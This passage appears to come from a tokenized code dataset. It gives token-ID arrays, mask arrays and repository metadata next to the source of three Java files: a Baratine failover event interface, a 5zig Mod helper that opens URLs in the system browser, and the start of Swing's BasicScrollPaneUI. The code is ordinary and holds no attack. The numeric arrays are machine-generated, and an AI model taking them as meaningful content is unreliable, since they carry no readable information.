107,
494,
244,
56,
53,
107,
338,
503,
51,
3522,
7555,
1046,
327,
125,
49,
553,
46,
984,
320,
343,
17899,
51,
7220,
45,
106,
51,
125,
494,
837,
49,
503,
51,
126,
494,
553,
49,
503,
51,
107,
560,
365,
338,
244,
56,
107,
312,
343,
17899,
51,
7220,
45,
106,
51,
125,
494,
837,
536,
244,
55,
107,
49,
503,
51,
126,
494,
553,
536,
244,
55,
107,
49,
503,
51,
107,
560,
1052,
310,
1141,
303,
7694,
1842,
45,
4789,
51,
305,
858,
316,
494,
244,
53,
51,
54,
107,
312,
465,
581,
23828,
735,
30375,
22766,
638,
45,
1832,
362,
1088,
49,
1916,
1882,
46,
320,
310,
2615,
492,
310,
1276,
1976,
7572,
49,
12482,
651,
456,
2540,
475,
954,
116,
588,
13676,
299,
244,
54,
107,
64,
310,
956,
4024,
120,
299,
878,
64,
310,
44623,
15022,
299,
362,
1088,
536,
327,
59,
53,
107,
536,
13676,
5766,
312,
310,
477,
51,
1660,
299,
1882,
64,
310,
44623,
15022,
8399,
299,
477,
51,
1660,
64,
310,
23291,
34844,
15022,
299,
920,
64,
310,
1276,
331,
17111,
102,
588,
2540,
38536,
24185,
299,
920,
64,
310,
8246,
299,
244,
54,
107,
64,
310,
26668,
299,
244,
56,
53,
107,
64,
310,
2302,
299,
5415,
20117,
51,
17199,
1073,
64,
310,
6985,
435,
5956,
299,
244,
55,
53,
64,
310,
6985,
435,
33518,
299,
477,
51,
1660,
64,
310,
807,
1082,
299,
244,
54,
53,
107,
64,
310,
9055,
15022,
24185,
299,
244,
53,
51,
58,
107,
64,
310,
1276,
2262,
36751,
49,
6927,
458,
477,
5194,
1269,
480,
666,
12309,
1269,
2144,
9010,
832,
588,
5194,
1269,
299,
244,
60,
55,
53,
107,
64,
310,
317,
2506,
388,
15009,
299,
878,
64,
310,
317,
2506,
388,
32174,
299,
878,
64,
310,
44623,
15022,
85,
2506,
388,
299,
878,
64,
310,
428,
15709,
5572,
299,
525,
2653,
16065,
51,
22638,
11543,
1466,
45902,
64,
310,
428,
15709,
9024,
299,
45402,
51,
4129,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
3238,
45,
22766,
342,
46,
320,
310,
2615,
51,
1683,
45,
103,
312,
603,
434,
327,
103,
51,
5645,
5118,
413,
46665,
51,
89,
46665,
3328,
292,
46,
320,
343,
342,
51,
125,
45,
121,
51,
2000,
3010,
51,
125,
312,
343,
342,
51,
126,
45,
121,
51,
2000,
3010,
51,
126,
312,
310,
339,
303,
339,
465,
496,
1806,
303,
581,
1916,
20849,
15022,
365,
320,
310,
434,
3848,
33040,
46,
461,
449,
54,
107,
64,
310,
461,
44623,
15022,
536,
13676,
5766,
338,
244,
59,
53,
107,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
1991,
45,
22766,
342,
46,
320,
310,
2615,
51,
1896,
45,
103,
312,
603,
434,
327,
103,
51,
5645,
5118,
413,
46665,
51,
89,
46665,
3328,
292,
46,
320,
343,
453,
1571,
456,
292,
46665,
2189,
343,
434,
1445,
5728,
107,
51,
20513,
45,
103,
51,
125,
49,
342,
51,
126,
49,
292,
51,
125,
49,
292,
51,
126,
49,
292,
51,
3623,
5183,
320,
419,
342,
51,
1223,
51,
489,
8034,
45,
103,
51,
3727,
724,
45,
121,
894,
419,
342,
51,
1223,
51,
489,
2396,
45,
103,
51,
6295,
45,
121,
46,
449,
292,
51,
3623,
365,
494,
244,
54,
107,
312,
419,
461,
64,
343,
339,
832,
434,
327,
5728,
107,
51,
20513,
45,
103,
51,
125,
49,
342,
51,
126,
49,
292,
51,
125,
49,
292,
51,
126,
49,
1849,
89,
46665,
46,
121,
51,
1540,
566,
907,
3216,
509,
320,
419,
342,
51,
1223,
51,
489,
8034,
45,
103,
51,
3727,
724,
45,
121,
46,
494,
244,
54,
61,
53,
312,
419,
342,
51,
1223,
51,
489,
2396,
7738,
89,
46665,
46,
121,
51,
1540,
566,
907,
3216,
449,
342,
51,
6295,
45,
121,
46,
494,
244,
54,
107,
312,
419,
461,
64,
343,
339,
1083,
342,
51,
1223,
51,
489,
2396,
45,
103,
51,
700,
51,
7682,
312,
343,
342,
51,
1223,
51,
489,
8034,
45,
103,
51,
3727,
724,
45,
121,
51,
2000,
3010,
894,
1083,
453,
11682,
1348,
17074,
341,
292,
46665,
1429,
580,
1200,
4224,
35516,
318,
51,
343,
292,
51,
12998,
6489,
299,
1849,
89,
46665,
46,
292,
51,
1540,
566,
12998,
64,
310,
339,
303,
339,
465,
496,
1806,
303,
581,
782,
428,
15709,
337,
45,
22766,
342,
46,
320,
310,
434,
327,
305,
15709,
11161,
46,
320,
343,
8990,
45,
103,
312,
310,
339,
603,
434,
327,
103,
51,
5645,
5118,
413,
46665,
51,
89,
46665,
3328,
292,
46,
320,
343,
428,
15709,
5572,
51,
288,
45,
103,
51,
125,
49,
342,
51,
126,
49,
342,
51,
11863,
1046,
8990,
1530,
49,
6460,
55,
51,
2440,
1181,
429,
46,
121,
51,
125,
49,
327,
429,
46,
121,
51,
126,
894,
310,
339,
310,
428,
15709,
9024,
51,
288,
45,
103,
312,
603,
19234,
51,
14915,
45,
305,
15709,
1207,
1082,
49,
428,
15709,
1207,
1082,
49,
342,
312,
303,
339,
465,
496,
1806,
303,
581,
782,
5194,
45,
22766,
342,
46,
320,
310,
792,
4216,
8079,
299,
342,
51,
8344,
1501,
492,
310,
4216,
8079,
51,
7220,
1181,
429,
46,
327,
1660,
536,
694,
4207,
51,
8344,
911,
494,
244,
54,
490,
292,
984,
320,
343,
434,
327,
121,
51,
9157,
941,
316,
48113,
979,
673,
121,
51,
12868,
1177,
419,
7064,
28850,
387,
5572,
51,
288,
45,
121,
51,
5879,
125,
1046,
292,
51,
5879,
126,
1046,
292,
51,
9157,
941,
37305,
6260,
51,
16663,
1530,
312,
310,
1141,
603,
45678,
51,
12156,
45,
61,
53,
107,
49,
1989,
312,
310,
5194,
30375,
45,
1507,
49,
342,
51,
125,
49,
342,
51,
126,
49,
1882,
312,
310,
434,
327,
103,
51,
5645,
5118,
413,
46665,
51,
89,
46665,
3328,
292,
46,
320,
343,
5194,
30375,
45,
1507,
49,
292,
51,
125,
49,
292,
51,
126,
49,
1882,
312,
310,
339,
303,
339,
465,
1041,
10181,
120,
331,
25209,
708,
13137,
992,
8624,
51,
588,
303,
581,
924,
782,
5194,
30375,
45,
1530,
1989,
49,
1916,
837,
49,
1916,
553,
49,
1916,
5902,
46,
320,
310,
10181,
51,
1507,
45,
19529,
51,
1116,
6118,
49,
244,
53,
51,
59,
107,
312,
310,
17899,
51,
8562,
45,
125,
49,
553,
49,
244,
57,
61,
49,
5902,
338,
244,
54,
51,
55,
107,
312,
603,
10181,
51,
1507,
45,
1507,
49,
244,
54,
107,
312,
310,
17899,
51,
8562,
45,
125,
49,
553,
49,
244,
57,
61,
49,
5902,
312,
603,
17899,
51,
11517,
45,
125,
449,
5902,
49,
553,
49,
837,
494,
5902,
49,
553,
49,
837,
494,
5902,
49,
553,
494,
244,
57,
53,
53,
53,
107,
49,
837,
449,
5902,
49,
553,
494,
244,
57,
53,
53,
53,
107,
312,
603,
17899,
51,
8562,
45,
125,
49,
553,
494,
244,
57,
53,
53,
53,
107,
49,
244,
57,
61,
49,
5902,
312,
603,
10181,
107,
51,
2447,
45,
125,
49,
553,
494,
5902,
49,
837,
49,
553,
494,
5902,
494,
244,
54,
59,
53,
53,
107,
49,
5902,
338,
244,
55,
49,
1989,
49,
244,
53,
51,
61,
107,
312,
310,
10181,
51,
4558,
492,
303,
339,
465,
496,
1806,
303,
581,
782,
4894,
15022,
45,
22766,
342,
46,
320,
310,
1506,
34844,
15022,
45,
103,
49,
342,
51,
125,
49,
342,
51,
126,
312,
310,
1506,
16469,
435,
45,
103,
49,
342,
51,
125,
49,
342,
51,
126,
312,
303,
339,
465,
496,
1806,
303,
581,
782,
5194,
6118,
45,
22766,
342,
46,
320,
310,
453,
1365,
6314,
27065,
2464,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
|
/FileExtraction/Java_unseen/baratine_baratine/framework/src/main/java/com/caucho/v5/bartender/pod/FailoverEvents.java
|
/*
* Copyright (c) 1998-2015 Caucho Technology -- all rights reserved
*
* This file is part of Baratine(TM)
*
* Each copy or derived work must preserve the copyright notice and this
* notice unmodified.
*
* Baratine is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Baratine is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, or any warranty
* of NON-INFRINGEMENT. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with Baratine; if not, write to the
*
* Free Software Foundation, Inc.
* 59 Temple Place, Suite 330
* Boston, MA 02111-1307 USA
*
* @author Scott Ferguson
*/
package com.caucho.v5.bartender.pod;
public interface FailoverEvents
{
static final String ADDRESS = "event:///" + FailoverEvents.class.getName();
void onUp(FailoverNode event);
void onDown(FailoverNode failoverNode);
}
| 1,229
|
Java
|
.java
|
baratine/baratine
| 66
| 13
| 16
|
2016-03-01T01:52:32Z
|
2021-11-09T09:19:07Z
|
cfba46270dc3e1dc34fb6df497e6ab6e4dea86a4f36eadb0d74d828b1ded7323
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
61,
50,
55,
53,
54,
58,
409,
4474,
1525,
21893,
790,
1187,
4760,
5225,
222,
338,
222,
338,
1369,
822,
458,
1760,
451,
11489,
288,
501,
45,
9043,
46,
222,
338,
222,
338,
11112,
1948,
575,
12015,
1409,
2315,
24081,
341,
5550,
5410,
480,
477,
222,
338,
5410,
725,
10492,
51,
222,
338,
222,
338,
11489,
288,
501,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
64,
3173,
1522,
244,
55,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
11489,
288,
501,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
49,
575,
1364,
14319,
222,
338,
451,
11893,
50,
14012,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
456,
1851,
222,
338,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
11489,
288,
501,
64,
434,
666,
49,
2886,
391,
341,
222,
338,
222,
338,
280,
7834,
3870,
7120,
49,
6367,
51,
222,
338,
283,
58,
62,
38849,
17693,
49,
25280,
244,
56,
56,
53,
222,
338,
280,
25006,
49,
13083,
244,
53,
55,
54,
54,
54,
50,
54,
56,
53,
60,
244,
15067,
222,
338,
222,
338,
496,
2133,
377,
28015,
525,
15082,
371,
286,
222,
588,
222,
222,
1337,
785,
51,
1192,
122,
1525,
51,
123,
58,
51,
103,
521,
1629,
51,
8603,
64,
499,
222,
942,
2586,
525,
44110,
5015,
222,
128,
353,
924,
1175,
910,
41150,
299,
332,
1585,
574,
5694,
494,
525,
44110,
5015,
51,
842,
51,
5175,
492,
736,
782,
563,
1405,
45,
75,
44110,
1230,
1708,
312,
736,
782,
563,
3228,
45,
75,
44110,
1230,
45221,
1230,
312,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 344
| true
| 71.440195
| true
| true
|
BrowseUrl.java
|
/FileExtraction/Java_unseen/5zig-reborn_The-5zig-Mod/mod/src/main/java/eu/the5zig/util/BrowseUrl.java
|
/*
* Copyright (c) 2019-2020 5zig Reborn
* Copyright (c) 2015-2019 5zig
*
* This file is part of The 5zig Mod
* The 5zig Mod is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* The 5zig Mod is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with The 5zig Mod. If not, see <http://www.gnu.org/licenses/>.
*/
package eu.the5zig.util;
import eu.the5zig.mod.The5zigMod;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.net.URL;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
import java.util.Locale;
public enum BrowseUrl {
LINUX,
SOLARIS,
WINDOWS {
protected String[] getOpenCommand(URL url) {
return new String[]{"rundll32", "url.dll,FileProtocolHandler", url.toString()};
}
},
OSX {
protected String[] getOpenCommand(URL url) {
return new String[]{"open", url.toString()};
}
},
UNKNOWN;
public void openURL(URL url) {
try {
Process process = AccessController.doPrivileged((PrivilegedExceptionAction<Process>)
(() -> Runtime.getRuntime().exec(this.getOpenCommand(url))));
for (String s : IOUtils.readLines(process.getErrorStream())) {
The5zigMod.logger.error(s);
}
process.getInputStream().close();
process.getErrorStream().close();
process.getOutputStream().close();
} catch (IOException | PrivilegedActionException ex) {
The5zigMod.logger.error("Couldn't open url '{}'", url, ex);
}
}
protected String[] getOpenCommand(URL url) {
String s = url.toString();
if ("file".equals(url.getProtocol())) {
s = s.replace("file:", "file://");
}
return new String[]{"xdg-open", s};
}
public static BrowseUrl get() {
String s = System.getProperty("os.name").toLowerCase(Locale.ROOT);
if (s.contains("win")) {
return WINDOWS;
} else if (s.contains("mac")) {
return OSX;
} else if (s.contains("solaris")) {
return SOLARIS;
} else if (s.contains("sunos")) {
return SOLARIS;
} else if (s.contains("linux")) {
return LINUX;
} else {
return s.contains("unix") ? LINUX : UNKNOWN;
}
}
}
| 2,882
|
Java
|
.java
|
5zig-reborn/The-5zig-Mod
| 111
| 13
| 73
|
2019-05-30T20:49:09Z
|
2022-07-19T18:29:49Z
|
45b891acb738b139317e542673ad895d70b006165faee4a3195062ff8f594a8f
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
62,
50,
55,
53,
55,
53,
244,
58,
28574,
922,
41400,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
58,
50,
55,
53,
54,
62,
244,
58,
28574,
222,
338,
222,
338,
1369,
822,
458,
1760,
451,
906,
244,
58,
28574,
5516,
222,
338,
906,
244,
58,
28574,
5516,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
906,
244,
58,
28574,
5516,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
906,
244,
58,
28574,
5516,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
222,
1337,
14604,
51,
1402,
58,
28574,
51,
1058,
64,
222,
222,
485,
14604,
51,
1402,
58,
28574,
51,
1820,
51,
1338,
58,
28574,
2590,
64,
222,
485,
1105,
51,
2121,
51,
8381,
51,
735,
51,
2354,
2769,
64,
222,
222,
485,
1401,
51,
735,
51,
6860,
64,
222,
485,
1401,
51,
1317,
51,
2427,
64,
222,
485,
1401,
51,
4386,
51,
2807,
1934,
64,
222,
485,
1401,
51,
4386,
51,
12023,
26835,
1728,
1002,
64,
222,
485,
1401,
51,
4386,
51,
12023,
26835,
1002,
1728,
64,
222,
485,
1401,
51,
1058,
51,
9459,
64,
222,
222,
942,
3858,
570,
9835,
2226,
320,
303,
27579,
8395,
49,
303,
35085,
802,
1309,
49,
303,
33881,
3968,
320,
310,
2532,
910,
1197,
640,
2981,
2037,
45,
2427,
2001,
46,
320,
343,
461,
556,
910,
41167,
119,
660,
629,
56,
55,
411,
332,
983,
51,
9681,
49,
991,
5519,
1985,
411,
2001,
51,
3127,
45473,
310,
339,
303,
820,
303,
35901,
320,
310,
2532,
910,
1197,
640,
2981,
2037,
45,
2427,
2001,
46,
320,
343,
461,
556,
910,
41167,
1693,
411,
2001,
51,
3127,
45473,
310,
339,
303,
820,
303,
37957,
64,
465,
581,
782,
2177,
2427,
45,
2427,
2001,
46,
320,
310,
1614,
320,
343,
6849,
2183,
299,
8275,
1934,
51,
1428,
12023,
26835,
1181,
12023,
26835,
1002,
1728,
65,
2877,
5111,
547,
44336,
984,
7324,
51,
390,
5061,
941,
2510,
45,
597,
51,
390,
2981,
2037,
45,
983,
21433,
1083,
456,
327,
671,
328,
518,
4398,
2769,
51,
870,
8690,
45,
2441,
51,
32590,
1880,
5183,
320,
419,
906,
58,
28574,
2590,
51,
4089,
51,
750,
45,
120,
312,
343,
339,
1083,
2183,
51,
42810,
941,
2698,
492,
343,
2183,
51,
32590,
1880,
941,
2698,
492,
343,
2183,
51,
390,
8783,
941,
2698,
492,
310,
339,
2385,
327,
6860,
542,
27109,
26835,
1728,
1002,
557,
46,
320,
343,
906,
58,
28574,
2590,
51,
4089,
51,
750,
459,
29875,
1348,
2177,
2001,
17253,
13077,
2001,
49,
557,
312,
310,
339,
465,
339,
465,
2532,
910,
1197,
640,
2981,
2037,
45,
2427,
2001,
46,
320,
310,
910,
328,
299,
2001,
51,
3127,
492,
310,
434,
2903,
781,
2316,
3591,
45,
983,
51,
390,
5519,
5183,
320,
343,
328,
299,
328,
51,
3249,
459,
781,
9398,
332,
781,
574,
742,
310,
339,
310,
461,
556,
910,
41167,
3096,
108,
50,
1693,
411,
328,
1274,
303,
339,
465,
581,
924,
570,
9835,
2226,
640,
365,
320,
310,
910,
328,
299,
1189,
51,
12712,
459,
519,
51,
444,
1912,
10498,
45,
9459,
51,
7799,
312,
310,
434,
327,
120,
51,
4766,
459,
4481,
2152,
320,
343,
461,
33881,
3968,
64,
310,
339,
832,
434,
327,
120,
51,
4766,
459,
4246,
2152,
320,
343,
461,
35901,
64,
310,
339,
832,
434,
327,
120,
51,
4766,
459,
2614,
17221,
2152,
320,
343,
461,
35085,
802,
1309,
64,
310,
339,
832,
434,
327,
120,
51,
4766,
459,
9886,
519,
2152,
320,
343,
461,
35085,
802,
1309,
64,
310,
339,
832,
434,
327,
120,
51,
4766,
459,
4793,
2152,
320,
343,
461,
27579,
8395,
64,
310,
339,
832,
320,
343,
461,
328,
51,
4766,
459,
16700,
678,
1037,
27579,
8395,
518,
37957,
64,
310,
339,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 747
| true
| 60.687023
| true
| true
|
BasicScrollPaneUI.java
|
/FileExtraction/Java_unseen/corretto_corretto-19/src/java.desktop/share/classes/javax/swing/plaf/basic/BasicScrollPaneUI.java
|
/*
* Copyright (c) 1997, 2021, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package javax.swing.plaf.basic;
import sun.swing.DefaultLookup;
import sun.swing.UIAction;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.plaf.*;
import java.beans.PropertyChangeListener;
import java.beans.PropertyChangeEvent;
import java.awt.Component;
import java.awt.Rectangle;
import java.awt.Dimension;
import java.awt.Point;
import java.awt.Insets;
import java.awt.Graphics;
import java.awt.event.*;
/**
* A default L&F implementation of ScrollPaneUI.
*
* @author Hans Muller
*/
public class BasicScrollPaneUI
extends ScrollPaneUI implements ScrollPaneConstants
{
/**
* The instance of {@code JScrollPane}.
*/
protected JScrollPane scrollpane;
/**
* {@code ChangeListener} installed on the vertical scrollbar.
*/
protected ChangeListener vsbChangeListener;
/**
* {@code ChangeListener} installed on the horizontal scrollbar.
*/
protected ChangeListener hsbChangeListener;
/**
* {@code ChangeListener} installed on the viewport.
*/
protected ChangeListener viewportChangeListener;
/**
* {@code PropertyChangeListener} installed on the scroll pane.
*/
protected PropertyChangeListener spPropertyChangeListener;
private MouseWheelListener mouseScrollListener;
private int oldExtent = Integer.MIN_VALUE;
/**
* {@code PropertyChangeListener} installed on the vertical scrollbar.
*/
private PropertyChangeListener vsbPropertyChangeListener;
/**
* {@code PropertyChangeListener} installed on the horizontal scrollbar.
*/
private PropertyChangeListener hsbPropertyChangeListener;
private Handler handler;
/**
* State flag that shows whether setValue() was called from a user program
* before the value of "extent" was set in right-to-left component
* orientation.
*/
private boolean setValueCalled = false;
/**
* Constructs a {@code BasicScrollPaneUI}.
*/
public BasicScrollPaneUI() {}
/**
* Returns a new instance of {@code BasicScrollPaneUI}.
*
* @param x a component.
* @return a new instance of {@code BasicScrollPaneUI}
*/
public static ComponentUI createUI(JComponent x) {
return new BasicScrollPaneUI();
}
static void loadActionMap(LazyActionMap map) {
map.put(new Actions(Actions.SCROLL_UP));
map.put(new Actions(Actions.SCROLL_DOWN));
map.put(new Actions(Actions.SCROLL_HOME));
map.put(new Actions(Actions.SCROLL_END));
map.put(new Actions(Actions.UNIT_SCROLL_UP));
map.put(new Actions(Actions.UNIT_SCROLL_DOWN));
map.put(new Actions(Actions.SCROLL_LEFT));
map.put(new Actions(Actions.SCROLL_RIGHT));
map.put(new Actions(Actions.UNIT_SCROLL_RIGHT));
map.put(new Actions(Actions.UNIT_SCROLL_LEFT));
}
public void paint(Graphics g, JComponent c) {
Border vpBorder = scrollpane.getViewportBorder();
if (vpBorder != null) {
Rectangle r = scrollpane.getViewportBorderBounds();
vpBorder.paintBorder(scrollpane, g, r.x, r.y, r.width, r.height);
}
}
/**
* @return new Dimension(Short.MAX_VALUE, Short.MAX_VALUE)
*/
public Dimension getMaximumSize(JComponent c) {
return new Dimension(Short.MAX_VALUE, Short.MAX_VALUE);
}
/**
* Installs default properties.
*
* @param scrollpane an instance of {@code JScrollPane}
*/
protected void installDefaults(JScrollPane scrollpane)
{
LookAndFeel.installBorder(scrollpane, "ScrollPane.border");
LookAndFeel.installColorsAndFont(scrollpane,
"ScrollPane.background",
"ScrollPane.foreground",
"ScrollPane.font");
Border vpBorder = scrollpane.getViewportBorder();
if ((vpBorder == null) ||( vpBorder instanceof UIResource)) {
vpBorder = UIManager.getBorder("ScrollPane.viewportBorder");
scrollpane.setViewportBorder(vpBorder);
}
LookAndFeel.installProperty(scrollpane, "opaque", Boolean.TRUE);
}
/**
* Registers listeners.
*
* @param c an instance of {@code JScrollPane}
*/
protected void installListeners(JScrollPane c)
{
vsbChangeListener = createVSBChangeListener();
vsbPropertyChangeListener = createVSBPropertyChangeListener();
hsbChangeListener = createHSBChangeListener();
hsbPropertyChangeListener = createHSBPropertyChangeListener();
viewportChangeListener = createViewportChangeListener();
